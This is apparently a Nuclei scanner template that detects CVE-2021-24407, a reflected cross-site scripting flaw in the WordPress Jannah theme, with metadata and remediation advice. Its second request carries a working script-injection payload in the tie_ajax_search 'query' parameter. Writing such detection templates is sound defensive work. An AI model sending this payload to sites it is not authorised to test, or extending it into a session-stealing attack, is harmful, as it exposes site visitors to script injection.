id: CVE-2021-24407

info:
  name: WordPress Jannah Theme <5.4.5 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: WordPress Jannah theme before 5.4.5 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the 'query' POST parameter in its tie_ajax_search AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the Jannah Theme to version 5.4.5 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fba9f010-1202-4eea-a6f5-78865c084153
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24407
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24407
    cwe-id: CWE-79
    epss-score: 0.00207
    epss-percentile: 0.58055
    cpe: cpe:2.3:a:tielabs:jannah:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: tielabs
    product: jannah
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-theme,wpscan,tielabs
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/jannah/assets/'
          - 'attachment-jannah-image-'
        condition: or

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}

        action=tie_ajax_search&query[]=</script><script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bfa8d3c5e1d87b4aba2a0b4a05c2f8ed28999903e0a685cfc8d731096cb4e06a022100ac24fb6b1fc6665ae4b2db22f5b9ea3f95301ae182108d029531f314190178d5:922c64590222798bb761d5b6d8e72950